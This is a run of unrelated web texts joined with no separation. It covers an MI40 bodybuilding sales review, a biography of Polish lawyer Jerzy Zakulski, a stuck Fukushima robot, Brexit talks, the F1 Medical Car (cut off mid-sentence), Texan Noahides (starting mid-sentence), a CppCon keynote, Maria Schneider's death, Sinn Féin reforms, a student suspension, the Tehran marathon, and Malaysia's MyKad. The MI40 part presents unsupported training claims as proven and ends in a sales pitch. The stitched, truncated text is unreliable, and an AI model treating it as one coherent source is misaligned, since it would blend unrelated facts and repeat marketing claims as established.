When you actually think about it, it’s quite a lot isn’t it? You see… One of the most important aspects of building muscle is knowing how to execute movement’s. It’s funny how underrated this is, as people simply think you just need to move the heaviest weight to grow, when in reality this is the completely wrong way to go about it, unless you are a genetic freak when it comes to building muscle, but chances are you’re not as you would have built substantial muscle by now.
And this is one of the most important things you are going to learn in MI40, how to execute movements that stimulate muscle growth regardless of how skinny, out of shape or how crappy your genetics are for building muscle.
When it comes to packing on tons of muscle,if you do not know how to lift with the working muscle, keep tension on the working muscle and contract the muscle at the right times you put yourself a huge disadvantage. And if you have poor genetics for building muscle these techniques become even more vital.
What You Will Lean in Mi40
In Ben Pakulski’s MI40 program, he will show you exactly how to execute each movement for optimal muscle gains. Here’s a little tip I learned from Ben when it comes to developing your chest.
When you are doing a bench press, it is important to keep your trunk tight, instead of pushing the weight up, you bring your arms across the chest and you focus on pushing your back into the bench. What I have written might be hard to imagine in your mind but when you see a video demonstration of Ben doing it makes so much sense.
Since I’ve incorporated this into my workout routine is absolutely insane how much you can feel my chest being worked out and have seen the best chest gains in my life.
What Results Have I Seen From Ben Pakulski’s Advice?
My arms were the first place I noticed growth from a little bicep movement I learnt from Ben, it was a small tweak from what I was doing previously but made a different in my bicep development.
Chest, learning to minimize the use of shoulders and arms during the bench press really help me work the chest more without having to add more volume and in return better chest development. I could go on about more techniques I leant for other body parts but then this article would be too long.
Will MI40 Help You Build Muscle?
If you follow MI40 exactly how is outlined, use the correct form that Ben will teach you, then absolutely yes you will build muscle!
What makes this program so effective is that you don’t count reps but instead you go by time. When a muscle is under tension for 40s, this has been shown to produce that optimal hypertrophy in the muscle.
What does this mean? It means that you’re signalling to your body it’s time to grow some muscle.
MI40 lasts for forty days which has been shown to be the optimal time before your body adapts to any program. You can use this program more than once, after the 40 days, do something else for a few weeks than jump right back on the MI40 program again.
With this program you take forty seconds of rest between sets and the reason for this is that it gives you enough time to recover but also is within the time so that your muscles keep on stimulate muscle growth.
MI40 is for those who’ve struggled to build muscle up until now, MI40 well literally hold your hand and show you exactly what to do to make sure you gain muscle. You will get videos with detailed instructions on how to perform each exercise, nutrition guide that shows exactly what eat to make sure that you grow muscle and a workout schedule so you can keep track of your workouts.
Why You Won’t Like This Program
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If you are ready to start building muscle as well as growing your knowledge on muscle building then click the link below to buy the program from Ben.Second lieutenant Jerzy Zakulski (28 June 1911 – 31 July 1947) was an attorney in interwar Poland, and World War II member of the National Armed Forces (Narodowe Siły Zbrojne, NSZ) in German-occupied Poland. He was sentenced to death and executed by Stalinist officials in Soviet-controlled postwar Poland, on trumped-up charges of being an enemy spy.[1]
A Jewish Holocaust survivor from Kraków, Maria Błeszyńska née Bernstein, attempted to save Zakulski's life in gratitude for his rescue of her and her daughter during the Holocaust in Poland; however, she was unsuccessful. The certified letter she sent to the Regional Military Court in Warsaw was thrown out, along with his plea for presidential mercy.[1]
Biography [ edit ]
Jerzy Zakulski was born to a family of a high-school teacher, Ludwik Zakulski. The Zakulskis settled in Kraków, at St. Kinga Street 7 in the district of Podgórze. Jerzy enrolled at the Jagiellonian University and graduated with a degree in law in 1936. Two years later he passed the bar. On 1 September 1939 Poland was invaded by Nazi Germany. Zakulski was conscripted into the Polish Army with the reserve military rank of Podporucznik (lieutenant) and took part in the September campaign.[1]
After Poland's defeat Zakulski joined the underground Military Organization Lizard Union (Związek Jaszczurczy) due to his prewar contacts in the Organizacja Polska.[1] In the Podgórze district where he lived, on 3 March 1941 the Nazis created Kraków Ghetto on the orders of Gauleiter Hans Frank.[2] Some 15,000 Jews were removed from their homes in the district of Kazimierz – the main spiritual and cultural centre of Kraków Jewry – and crammed into an area of Podgórze previously inhabited by 3,000 people.[2][3]
Just before the liquidation of the Ghetto in the course of the murderous Operation Reinhard in Kraków under Holocaust perpetrator Amon Göth, Maria Błeszyńska Bernstein escaped from there at night with her three-year-old daughter. They were rescued by Jerzy Zakulski.[1] He engaged his whole family in the rescue mission including his father-in-law Jan Bahr, hiding Maria and her child in both households by turns. Eventually, they took them out of the city to a safer place of a cousin Zofia Strycharska in Myślenice. Both Maria and her daughter survived the war and returned to Kraków afterwards. In her letter to the Stalinist military court in Warsaw dated 23 June 1947, Maria, living at 32 Długa street at the time, insisted that the Zakulskis had all risked their lives to save theirs.[1]
Execution [ edit ]
After the takeover of Kraków by the Red Army, Zakulski continued his clandestine work with the anticommunist Delegatura Sił Zbrojnych na Kraj,[4] collecting data on the Soviet crime wave and looting of the city.[5] He was betrayed and captured by the security forces a year later along with several others. His trial began on 29 May 1947 in Warsaw and concluded after two weeks on 16 June 1947. Zakulski was sentenced to death and shot in prison on 31 July 1947. Nothing is known about the Jews he saved.[1] The Volume 3 of his court case concerning brutal interrogation by the Department of Ministry of Public Security (Poland),[1][pg.55] headed by Col. Józef Różański, was destroyed.[6]
The Narodowe Siły Zbrojne (National Armed Forces), to which Zakulski belonged, was one of the largest underground organizations of World War II, resisting the Nazis as much as the Soviets. It was wrongfully but purposely accused by the Stalinist officials in postwar Poland of collaborating with the Nazis.[7]
Long after the end of the Soviet domination in Central Europe, the Polish Parliament Sejm passed a bill in 2012 commemorating the 70th anniversary of the creation of Narodowe Siły Zbrojne in 1942, acknowledging its massive contribution to the fight for Poland's sovereignty.[8] The Sejm pointed out that NSZ members became the most obstinate target of repressions and hate propaganda by security apparatus under Stalinism.[9] The crimes attributed to NSZ were made up by the Soviet-installed government with logistical help from the NKVD, which in itself was a criminal organization according to legal definition passed by the Polish Sejm in 1998.[7][10]
References [ edit ]Photo: IRID
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It’s a really, really bad day to be a radiation hardened, shape-changing disaster exploration robot. Last week, TEPCO sent a robot deep inside the radioactive hunk of slag that used to be the Fukushima No. 1 nuclear reactor to try to find the fuel rods, which are, uh, missing (looks like they’ve fallen to the bottom of the reactor). Unfortunately for TEPCO, and for that poor little robot, it got stuck after approximately five hours, and will probably remain entombed where it lies until approximately forever.
Photos: IRID The shape-changing robot stretches its body to navigate inside a pipe [top]; once through the pipe, it bends itself into a “U” shape and uses treads to move.
As far as I can tell, this robot doesn’t even have a name, which just compounds the sadness of the whole situation. It was developed by the International Research Institute for Nuclear Decommissioning (IRID) and Hitachi specifically to get deep inside the primary containment vessel of Fukushima Unit 1 via a 10-centimeter wide access pipe.
Once through the pipe, the robot used a tether (also carrying power and data) to lower itself onto a grating near the very bottom of the containment vessel. There, it stabilized itself by bending into a “U” shape, with treads on each leg of the “U” and a camera in the middle, and started exploring. Here’s video of a test run at a site that replicates the original one:
In 2011, TEPCO used PackBots to explore some parts of the Fukushima site after the disaster. The new robot traveled into much harder to reach areas and sent back pictures and video, along with measurements of temperature and radiation levels. Temperatures were mostly stable, between 18 and 20 degrees Celsius, and radiation dose rates were between 4.7 to 9.7 Sieverts per hour, which is pretty much guaranteed to kill you. Here’s what the robot saw:
Part of the robot’s job was to figure out if there was open access to the bottom of the steel pressure vessel, so that an amphibious robot can be sent down to look for the fuel rods, which simulations suggest are probably in a melted death puddle at the very bottom of the chamber, although nobody knows for sure. TEPCO says the robot was able to determine that “there are no obstacles around the opening that leads to the bottom of the [vessel].”
The robot continued on, until about three quarters of the way through its planned route (five hours into the mission), when it ran into a piece of debris and had to take a detour. At that point, the robot stopped responding to commands, although it continued to send back data. TEPCO thinks that the robot’s little treads probably got stuck on a gap around the grating. Here’s a diagram of where the bot made it to, alongside its original route:
Image: TEPCO
A mockup of the area shows the gap where a tread might have gotten stuck:
Image: TEPCO
TEPCO has already given up on recovering the robot, and by the time we publish this article, they’ll probably have cut its tether to make room for another, similar robot that will explore around the other side of the containment vessel. For what it’s worth, even if the robot had made it back alive, it would have been so radioactive that TEPCO would have immediately stuffed it into a shielded box and then probably buried it somewhere marked with all kinds of scary warning signs.
Despite the fact that the robot got stuck, TEPCO is still calling this mission a success, citing the measurements and imagery that the robot was able to send back. The information provided by the robot will allow TEPCO to carry out more robot missions, trying to locate the nuclear fuel and come up with a clean up plan.
It’s important to note that without robots, there’d be no way to get information like this, which is critical to the ongoing stabilization and eventual cleanup of the Fukushima site. Robots have already been doing a lot of the dull, dirty, and dangerous work that needs to be done, and if this recent TEPCO video montage is any indication, we’re going to be seeing a lot more of them.
[ TEPCO ] and [ IRID (pdf) ]LONDON (Reuters) - British Prime Minister Theresa May tried to persuade the leaders of Scotland, Wales and Northern Ireland on Monday to work with her government on a common Brexit negotiating position, but the Scottish leader dismissed the meeting as “deeply frustrating”.
Britain's Prime Minister Theresa May holds a news conference after the EU summit in Brussels, Belgium October 21, 2016. REUTERS/Eric Vidal
May says that while the devolved governments of the UK’s three smaller nations should give their views on what the terms of Brexit should be, they must not undermine the UK’s strategy by seeking separate settlements with the EU.
“I don’t know what the UK’s negotiating position is because they can’t tell us,” Scotland’s First Minister Nicola Sturgeon said after talks at May’s Downing Street office.
“I can’t undermine something that doesn’t exist, it doesn’t appear to me at the moment that there is a UK negotiating strategy,” she told Sky News television.
While England and Wales voted for Brexit in a June referendum, Scotland and Northern Ireland voted to remain in the EU, setting the devolved governments in Edinburgh and Belfast on a collision course with the UK’s central government in London.
This could lead to a constitutional crisis, and potentially to Scottish independence and renewed political tensions in Northern Ireland.
At the meeting with Sturgeon and the Welsh and Northern Irish leaders, May proposed setting up a new body to give the three devolved governments, which have varying degrees of autonomy from London, a formal avenue to express their views.
“Working together, the nations of the United Kingdom will make a success of leaving the European Union — and we will further strengthen our unique and enduring union as we do so,” May said in a statement after the talks.
But Sturgeon struck a very different tone as she emerged.
“What I’m not prepared to do... is stand back and watch Scotland driven off a hard Brexit cliff edge because the consequences in lost jobs, lost investment and lower living standards are too serious,” she said.
CONFLICTING PRIORITIES
The British government, which has promised to kick off formal divorce talks with the EU before the end of March, has said it will negotiate a bespoke deal on behalf of the whole United Kingdom with the bloc’s other 27 members.
Sturgeon said she would make specific proposals over the next few weeks to keep Scotland in the single market even if the rest of the UK left, and that May had said she was prepared to listen to options.
“So far those words are not matched by substance or actions and that is what has got to change,” Sturgeon said.
Sturgeon, head of the Scottish National Party, has said her government is preparing for all possibilities, including independence from the UK, after Britain leaves the EU. She wants each of the UK’s four assemblies to get a vote on the proposed negotiating package.
In Northern Ireland, there are fears that Brexit could undermine a 1998 peace deal and lead to the reintroduction of unpopular and cumbersome controls on the border with the Republic of Ireland, an EU member.
Northern Ireland’s First Minister Arlene Foster said the devolved nations had to be at “the heart of the process” so that issues relevant to them could be tackled as they arose.
Welsh First Minister Carwyn Jones said it was difficult for the devolved administrations to influence the process when there was so much uncertainty over what the government was seeking.
Slideshow (6 Images)
Jones said he had argued very strongly for “full and unfettered access” to the EU’s single market, which is in doubt because EU leaders say it would require Britain to continue to accept EU freedom of movement rules.
One of the central planks of the pro-Brexit campaign was that exiting the EU would give Britain greater control over immigration and help reduce the numbers arriving in the country.When a driver hits the barriers at speed, the Formula One Medical Car is on the scene in seconds. But how does a nearly two-tonne car laden with doctors and medical equipment get there so quickly? We spoke to Medical Car driver Alan van der Merwe to find out… The first track action of a Grand Prix weekend has a rather deeper note than those that follow. On Thursday, usually between 1400 and 1500, the FIA Safety Car and Medical Car take to the track for an hour of high-speed practice. Bernd Maylander’s Mercedes-AMG GT S safety car is a pretty familiar sight for fans around the world - but the Mercedes-AMG C 63 S Medical Car will spend the rest of the weekend in relative anonymity, should everything go to plan. Anonymity, says Medical Car driver Alan van der Merwe, is what the job’s all about. “We’ll be most visible if we make a mistake - so the biggest part of the job is being as anonymous as possible,” says the 37-year-old, who |
been a big source of marital stress at the time; I marveled at how irrelevant it is now.
Richard’s friend Arilio Navarro brought him to a Netiv class, and Richard was hooked. “I felt like I’d been taken out of the Matrix,” he said. “And I felt a little lost.”
Jackie came on board immediately. Something about Judaism attracted her. But even more important was seeing how much her husband began to change. He’d struggled with alcoholism before, but Noahide theology set him free—paradoxically, by calling him to account. “Seeing alcoholism not as the devil, and not as me, but as something in me was what did it,” Richard said. Judaism didn’t demonize alcohol but set forth a way of thinking about the yetzer hara—evil inclination—that made sense to him.
“God speaks to people how they listen,” he said. “I just had to get out of my own way.”
Jackie covers her hair with colorful wraps that she finds on Wrapunzel.com, an online community of Orthodox Jews. A foodie at heart, she zealously tries to make her Netive Mexican cooking kosher, although cholent remains a challenge.
“A lot of us are just fumbling in the dark,” she said.
People around the Waers didn’t really know what was going on when they became Noahides, and many confuse them for Muslim. Even the Waers’ three daughters were perplexed by the sudden “Guess what, kids! We’re not Catholic anymore!” nature of their family’s change, but they noticed that their parents seemed happier.
Ryan Smith’s journey to Noahidism was considerably different. While incarcerated in 2009, he dreamed he was watching the news, and the weatherman said there would be a solar flare causing temperatures to hit about 800 degrees.
In the dream, Smith waited for everything to start burning. Then he saw some sort of figure coming out of the sky, saying, “Don’t be afraid, I’ve come to take my people home.” Smith started crying in his sleep and woke up.
Despite growing up Catholic, Smith had never seriously read a Bible before, but the moment after waking up from an apocalyptic dream seemed like a good time to start. He went on to research religion obsessively and even taught himself to read Hebrew, he said, so he could read the Torah. He contacted Schulman, the rabbi who runs AskNoah.org, from whom he learned about Noahidism, and began teaching Noahidism to other inmates, turning it into a small prison religion.
For Smith, who has since been released and is now volunteering with Schulman, Noahidism changed everything; he wouldn’t take back being incarcerated.
“It was the highlight of my existence,” he said. “I’m glad I went there.”
Just as paths to Noahidism are different, so are individual practices. Tina Sachs is a Noahide, and her husband is a secular Jew. For her, Noahidism mainly means attending classes at Netiv and lighting candles on Shabbat. On the other hand, others at Netiv are “Noahide Hasidim,” as Bryant, the Netiv leader, jokingly calls them.
The Navarros for instance, keep kosher and observe Shabbat, and Arilio studies with a rabbi online. When we met, Dianna was wearing a necklace with a Kabbalah tree of life symbol on it and a red string around her wrist.
“It reminds me never to speak badly of anyone,” she said.
Noahides elicit mixed responses from religious Jews. When I first began researching Noahidism, one rabbi emailed me, telling me to avoid a particular Noahide leader, saying the leader was “throwing teachings like pasta at the wall to see what sticks.”
Some rabbis emphasize that Noahides should not perform any mitzvot designated specifically for Jews; they point to interpretations of Genesis 8:22 that argue it is forbidden for non-Jews to keep Shabbat. According to Maimonides:
The general principle governing these matters is: [Non-Jews] are not to be allowed to originate a new religion or create mitzvot for themselves based on their own decisions. They may either become righteous converts and accept all the mitzvot, or retain their statutes [in the Noahide Code] without adding or detracting from them.
Arilio Navarro understands these concerns, but he doesn’t abide by them.
“There are a lot of blessings that come with Shabbat, and I don’t want to leave them on the table,” he said. “I spent most of my life doing that; I don’t want to do that anymore. I have a Jewish soul.”
All the rabbis and Noahides I talked to agreed that Noahides don’t have an obligation to keep more than the seven laws. But the sort of people who go on a spiritual quest that leads them out of Christianity aren’t the sort who are typically satisfied with that. They want to do more.
“We left Egypt and can feel the warmth of Judaism,” said Bryant. “We don’t want to just keep wandering through the desert.”
The Navarros, like several others at Netiv, want to convert to Judaism. What holds them back is not conviction, but logistics: It’s hard to maintain an Orthodox lifestyle alone. There are no shuls within walking distance, and the closest Orthodox Jews live in downtown Houston. Moving would be expensive; houses cost twice as much in the city. That’s why many at Netiv want to start an Orthodox Jewish community of their own, one intimately connected with Noahides.
But most Noahides don’t express a need to convert. They like the flexibility of not being obligated to take on the laws.
***
When Gallup took a poll of 3,789 Texans in 2004, only 0.7 percent identified as Jewish. So, why has Noahidism taken root here, albeit on a small scale? I heard a variety of theories, involving, variously: Texan independence, superior leadership, or a surplus of shekhina—divine feminine presence—in the Lone Star State.
Considering the large number of Noahides in Latin America and Africa, Schulman theorized that countries that had had Christianity forced upon them might be pulling off the yoke of their oppressors. And it’s true that Noahidism seems to spring up mostly in Christian countries. But imperialism is pretty much everywhere—what place hasn’t been taken over by Christianity or Islam or nationalism or something else?
The best explanation for Noahidism’s spread lies not in space, but in time. A few decades ago, Noahides were usually lone individuals, or perhaps groups of four or five, who had come to the Noahide commandments on their own.
“No one knew each other existed,” explained Bryant.
But thanks to the Internet, Noahides realized they weren’t alone. Religious seekers were suddenly able to get their hands on all kinds of information on Judaism (many talk about Aish.com and Chabad.org like family friends), and Noahide-specific websites appeared. The true headquarters of Noahidism isn’t in Texas or the Philippines; it’s in the web servers. Bryant regularly gets emails saying, “I’m so happy I found your video. I thought I was the only person in the world who lived this way.”
Because Noahides are so spread out, dating can be a problem; it’s not that easy to find non-Jews who practice Judaism. So, Noahides having started dating sites, such as Soulmate Connections. Cherrie Lacrosse, another Texan, met her husband through one such site.
“It was like we’d known each other forever,” she remembered.
***
Of course, many are already married before becoming Noahides, such as Peter and Val Loth, a couple that frequents Netiv.
They both grew up Christian, but as an adult Peter found out he was actually a Jewish Holocaust survivor who’d been adopted by a Polish family as a baby. Already married, Peter and Val started looking into Judaism, and they discovered that many did not consider their marriage valid. All of a sudden, religious Jews were telling them that they might need to get divorced. “It was scary,” said Val. Peter met Bryant at a church speaking engagement, and the Loths joined his study group, which eventually became Netiv.
They decided to remain married—“God brought us together for this purpose,” said Val—but life got complicated in other ways. Peter had from time to time spoken on forgiveness to church groups, but once he announced that he was religiously Jewish, speaking engagements dried up. Upon finding out he was Jewish before one speech, a pastor dropped Peter off at a McDonald’s, leaving him to find his own way back to his hotel.
Peter and Val aren’t alone in experiencing these problems; Netiv is a kind of support group for Noahides. “We stick together because we have to,” said Jackie Waer. Extended families rarely understand what’s going on, and that’s created rifts. Val Loth simply hasn’t told her elderly Christian mother, knowing it would break her heart. “Honoring her is leaving her in her little Catholic world,” she said.
Most people simply don’t know Noahides exist. Bryant remembers one time a Noahide group from Waco, Texas, took a trip to Israel for Sukkot and, for some reason, decided it would be a great idea to show up on the Temple Mount. A Muslim man approached them.
“Are you Jewish?” he asked.
“No,” replied one of the Noahides, who looked like a Hasid. “I’m a Noahide.”
“Are you an American?”
“No, I’m a Texan.”
“… OK, then.”
And when Noahides show up at Chabad houses or synagogues, saying they want to learn Torah, they’re frequently turned away at the door.
“What about being a light to the nations?” asked Bryant, the Netiv leader. “Where else are they going to learn Torah? At church?”
One thing about Noahides: They really, really want to be accepted by Jews.
“We all came from Adam and Chava,” Smith pointed out. “We’re all related, just with very big branches.”
***
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Ilana E. Strauss is a writer and filmmaker living in New York. Her work has appeared in The Atlantic, Heeb, GOOD Magazine, The Washington Post, Reader's Digest, and The Toast.There are several developments in preparation for the conference: We’ve sent the acceptance notifications to authors who proposed talks. If you haven’t received the email, please contact the Program Committee. The Program Committee is now hard at work putting together and scheduling the program and we still aim to have it ready by the 27th of June. Note also that the early bird deadline is only 9 days away. Finally, we have the second keynote for CppCon 2014:
C++ on Mars: Incorporating C++ into Mars Rover Flight Software
by Dr. Mark Maimone
One of the more challenging aspects of developing flight software (FSW) for NASA’s Spirit and Opportunity Mars Exploration Rovers (MER) and Curiosity, the Mars Science Laboratory rover was how to enable them to drive themselves safely through unknown Martian terrain. When the MER mission was approved in the year 2000, JPL researchers had already demonstrated that capability on prototype rovers using software written primarily in C++ on a VxWorks realtime O/S platform with shared memory. So when asked to incorporate that capability into the MER vehicles which also relied on a similar VxWorks realtime O/S, the team concluded it would be safest and most expedient to incorporate the already field-tested C++ software. But that presented a challenge, since at that point all rover FSW development was mandated to be done mainly in the C programming language.
In this talk we present some of the challenges we faced and solutions we found in deploying C++ onto the Mars Rovers. For example, dynamic allocation was initially precluded, but development of a specialized memory allocator (using the C++ “placement new” operator) enabled us to incorporate it safely into the flight system. We will discuss what aspects of C++ were incorporated, what simulation environments aided development, describe some of the tools used to validate system behavior, and explain how our success using C++ for the implementation of autonomous navigation on MER has influenced future FSW efforts.
Speaker’s bio: Dr. Mark Maimone is a Navigation and Machine Vision researcher at JPL. Mark designed and developed the autonomous vision and navigation software that lets the MER and MSL Mars Rovers drive themselves safely, and wrote ground software that automated the analysis of Mobility and arm operations on MER. Mark is now a Rover Driver for Curiosity, and he continues to develop and enhance the onboard autonomous vision and navigation software for the rovers. Mark earned his Ph.D. in Computer Science at Carnegie Mellon University in 1996, and completed a postdoc there in 1997 as Navigation and Software Lead for the 1997 Atacama Desert Trek. At JPL since 1997, Mark has also worked on the Long Range Science Rover, Planetary Dexterous Manipulator, and Pioneer Vision System for Chornobyl Inspection projects, delivering 3D vision systems for autonomous robotic operations and mapping.French actress Maria Schneider, who ultimately came to disdain her most famous role as Marlon Brando’s young and sexy lover in Last Tango In Paris, has died this morning after a long illness. She was 58. According to news reports, French Culture Minister Frederic Mitterand called Schneider “a great artist”. The daughter of French actor Daniel Gelin and a Parisian bookshop owner, Schneider was only 19 when she was cast opposite the 48-year-old Brando in 1972’s Last Tango In Paris which caused controversy for its full-body sexual content. Afterwards, the actress made no secret of her dislike for having been “manipulated” into making the movie and vowed not to appear in a nude scene ever again. Although Schneider appeared opposite Jack Nicholson in The Passenger in 1975, and in Jane Eyre in 1996, her subsequent acting career consisted mostly of low-budget European films.SINN FÉIN HAS PROPOSED using citizens’ PPS numbers to automatically put them on the electoral register when they are eligible to vote as well as create larger, seven-seat Dáil constituencies.
The party has launched a set of political reform proposals which would see an independent electoral commission establish, as well as lower the voting age to 16 and introducing gender quotas of 30 per cent rising to 50 per cent – a measure already implemented by government.
Another proposal would see a partial list system introduced for Dáil elections to ensure representation for women and other under-represented groups.
A third of the Dáil would be elected through a list system while two-thirds would be elected in large seven-seat constituencies on the current proportional representation method to “ensure that the results reflect more accurately actual voter preference”.
Other changes include more representation and time devoted to Northern Ireland, with a proposal to allow Northern MPs immediate speaking time and consultative rights in the Dáil.
The party is also proposing to change the Constitution to allow northern MPs to automatically become members of the Dáil.
Speaking today, the party’s whip Aengus Ó Snodaigh denied this was in a bid to give Sinn Féin MPs, who abstain from Wesminster, speaking time in another parliamentary chamber, pointing out it would be open to DUP and other party MPs.
Of the party’s overall reform ideas, Ó Snodaigh said: “What we have seen since this government come to being is a piecemeal approach.”
Other ideas include a secret ballot of TDs for the appointment of a Ceann Comhairle, a special committee for the Taoiseach, scrapping of Freedom of Information fees, and a cap on ministerial salaries of €100,000 and €75,000 for TDs.
Senator David Cullinane also outlined the party’s proposals for Seanad reform including direct elections, representation for the North and minority groups and 50 per cent female representation – proposals already floated by other parties and interest groups.
‘The elephant in the room’: Government’s Dáil reforms do little to appease oppositionA Festus High School student was suspended after holding up a Trump sign at a school pep assembly Friday.
Festus Superintendent Link Luttrell said the discipline had nothing to do with the content of the sign.
He said there’s no school rule about holding up particular signs, but students generally cannot have items at school events or in class that are “unnecessary and could distract from the current environment.”
Luttrell also implied the student repeatedly refused requests that he put his sign away.
“If there are items that are really unnecessary, they’re going to be asked that those be put away. You are violating rules about following simple commands,” Luttrell said.
“I do not feel at all that this instance was an instance where anyone’s freedom to express was violated at all. Again, this is like I said earlier, there’s a proper place for anything.”
___
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, 4.0 out of 10 based on 6 ratingsA group of female runners who were told at the last minute they could not take part in the Tehran marathon risked being arrested and detained by Iran’s strict religious authorities in order to stage their own race instead.
Around 160 women out of a total of 600 runners had registered to compete in Friday’s first ever ‘TehRUN’, a 26 mile (42 kilometre) race around the Iranian capital, including dozens of foreigners.
However, female participants were dismayed to be told in an email from organisers three weeks ago that they would actually not be allowed to take part, as men and women cannot participate in sports together in the conservative country.
We’ll tell you what’s true. You can form your own view. From 15p €0.18 $0.18 $0.27 a day, more exclusives, analysis and extras.
Iran's track and field federation provided several confusing updates before the event meaning that the day before the race, female participants were still unclear on the rules.
Non-profit ‘Free to Run’, which encourages women and girls mainly from conflict areas to participate in sport and experience the outdoors, said in a Facebook post the week before that the authorities had been listening to the concerns of female runners and it appeared that women would be allowed to compete after all.
On race day, though, it emerged that women could take part in the 10 kilometre run but not the half marathon or full marathon, and those still wishing to complete the full distance would have to use an indoors sports stadium track instead.
Since the 1979 revolution Iranian women have had to follow strict dress and behavioural codes in public. Men and women cannot take part in sports together, and are not allowed to be spectators at events involving the opposite gender.
The TehRUN race website also asked female runners coming from abroad to “In general dress modestly to respect local customs and religion,” by wearing long-sleeved t-shirts that cover the hips, and headscarves or bandanas over their hair.
Manal Adel Rostom, a professional runner and Nike coach from Egypt, told The Independent that when she showed up to collect her runner’s bib the day before the race her 125 euro (£107) entrance fee appeared to have been completely wasted.
“It was totally chaotic, even the runners' numbers had been mixed up. I was arguing and arguing with the registration guy because I came all the way from Dubai for a marathon, not a 10K,” she said.
“He told me in the end I could show up and run outside if I wanted, but I risked getting arrested.”
Dutch runner Karin Brogtrop also said the experience was “stressful,” but having come so far and trained so hard a group of 12 Iranian and international female entrants decided to bend the rules to run a full race anyway.
They came up with the idea of their own “secret” marathon in the hilly local Beheshte Madaran park, doing 700 metre loops for 32K before joining the official 10K race for women at 4pm, for which they had to don new headscarves and other gear handed out by the race organisers.
A handful of other women tried to run the street route alongside men, women who took part in the Beheshte Madaran park race told The Independent, but were quickly kicked out.
“It was a really lovely experience. It was a women’s park but it was family day, so there were men there too. People kept offering us tea or running alongside us,” Ms Brogtrop said. “We had fun. I was happy with it.”
Several of the female runners in the official 10K carried bibs or banners with slogans such as ‘See you next year, 42K.’
“I’m a hijabi and the dress code for this race was in hijab, so this was a great representation of peace and tolerance and the spirit of sport, I think,” Ms Rostom said, adding that she is determined to return to Tehran next year and take part in a full marathon.
“I’m glad we spoke up. I just feel that when women speak up for themselves that’s when real change comes around. As a Middle Eastern woman to see women being empowered in this way and see women run in the streets for the first time means a lot to me, of course.
“It lets [women] know there are no limits and they can do anything they want.”
Friday’s event follows the race’s first incarnation in 2016 in the city of Marvdasht.
No female runners were allowed to officially take part last year, but two women - Masoumeh Torabi and Elham Manoocheri - nonetheless ran separately from the men in protest, beginning two hours ahead of the official start time, and are recognised as participants on the race’s website.
We’ll tell you what’s true. You can form your own view.
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Subscribe nowMalaysian Identity Card
Kad Pengenalan Malaysia Date first issued 1948
2001 (MyKad) Issued by Malaysia Valid in Malaysia Type of document Identity card Purpose Identification Eligibility requirements Malaysian citizenship Cost RM10
The Malaysian identity card (Malay: kad pengenalan Malaysia), is the compulsory identity card for Malaysian citizens aged 12 and above. The current identity card, known as MyKad, was introduced by the National Registration Department of Malaysia on 5 September 2001 as one of four MSC Malaysia flagship applications[1] and a replacement for the High Quality Identity Card (Kad Pengenalan Bermutu Tinggi), Malaysia became the first country in the world to use an identification card that incorporates both photo identification and fingerprint biometric data on an in-built computer chip embedded in a piece of plastic.[2][3]
Besides the main purpose of the card as a validation tool and proof of citizenship other than the birth certificate, MyKad may also serve as a valid driver's license, an ATM card, an electronic purse, and a public key, among other applications, as part of the Malaysian Government Multipurpose Card (GMPC) initiative, if the bearer chooses to activate the functions.
Other cards which are currently in use or soon to be introduced in the GMPC initiative and share similar features are:
Etymology [ edit ]
The term MyKad is a compound of two words with ambiguous meanings; namely My and Kad.
My can be:
the ISO 3166-1 alpha-2 code for Malaysia; or
the English word my
Kad can be:
the Malay word for card ; or
; or the acronym for Kad Akuan Diri or Personal Identification Card; [7] or
or Personal Identification Card; or the acronym for Kad Aplikasi Digital or Digital Application Card.[7]
Technical specifications [ edit ]
The initial MyKad was a contact card solution developed and manufactured by IRIS Corporation. Made of PC with the dimensions in the ISO/IEC 7816 ID-1 format (standard credit card format), the initial card had a 32kb EEPROM (Electronically Erasable Programmable Read-Only Memory) embedded chip running on M-COS (MyKad Chip Operating System). In November 2002, the capacity was increased to 64kb.
The upgraded and current version of the MyKad is a hybrid card containing two chips for both contact and contactless interfaces. Currently, this hybrid type MyKad is only issued in Malaysian states that employ the Touch 'n Go application.
The MyKad chip has a data retention up to 20 years, while the card itself has a lifespan of 10 years and has been tested according to the ISO 10373 standard.
Eligibility and adoption [ edit ]
All Malaysian citizens and permanent residents 12 years old or above are eligible for a MyKad. From 2001, it gradually replaced an older Malaysian Identity Card system, that had been in use since 1949 under British colonial rule, with the intention of becoming ubiquitous by 2007. Children are issued with a MyKid after birth. This card is "upgraded" to a MyKad on the 12th birthday. The MyKad must be replaced when a person reaches 18 years old, as it is a requirement that the photograph be "current".
Adoption was optional but was spurred by the waiving of the application fee of between RM20 and RM50 until 31 December 2005. As of 27 December 2005, 1,180,208 Malaysians still held an old identity card. After the waiving period ended on 31 December 2005, each new first-time application comes with a fee of RM10.
Structure of the National Registration Identity Card Number (NRIC) [ edit ]
The current format of the Malaysian identity card number, introduced in 1990, features 12 digits separated into three block by hyphens, as illustrated below:
YYMMDD-PB-###G
The above format is the official format as printed on the official identity documents e.g. MyKad. However, for database purposes (e.g. sorting), the NRIC Number may have its hyphens omitted, hence:
YYMMDDPB###G
The first six digits signify the person's date of birth in the ISO 8601:2000 format; for example, a person born on 16 September 1963, would have 630916 as the first six digits of their identity card. A person born on 1 January 1900 would have 000101 as the first digits, same with a person born on 1 January 2000. In cases where the person's actual date of birth according to the Gregorian calendar is uncertain, the date on which the person first applied for a MyKad is used (which becomes the person's birthday for official purposes), noted by an asterisk (*).
PB, the seventh and eighth digit, based on the place of birth of the person, which will be referred from the birth certificate upon application of the MyKad. Policemen and armed forces are assigned with the unique digit, 88 and 99 respectively throughout their term of service. After ending their term of service, they would gain the MyKad with the middle digits based on their place of birth.
###, the ninth through eleventh digit is the generic special number generated by the National Registration Department of Malaysia's computer system.
G, the 12th digit represents the gender of the person. The odd numbers for G denote male while the even numbers denote female.
On the back of the card, there is an additional 2-digit number after the 12-digit number to indicate the number of MyKad which a person previously held.
Place of birth [ edit ]
Prior to 2001, originally, any person who was born abroad used digit 71 or 72 in their identity card number (High Quality Identity Card), regardless with or without at least one parent with Malaysian citizenship. It is estimated that about 171,023 registered voters who born abroad and used digit 71 or 72 in MyKad.
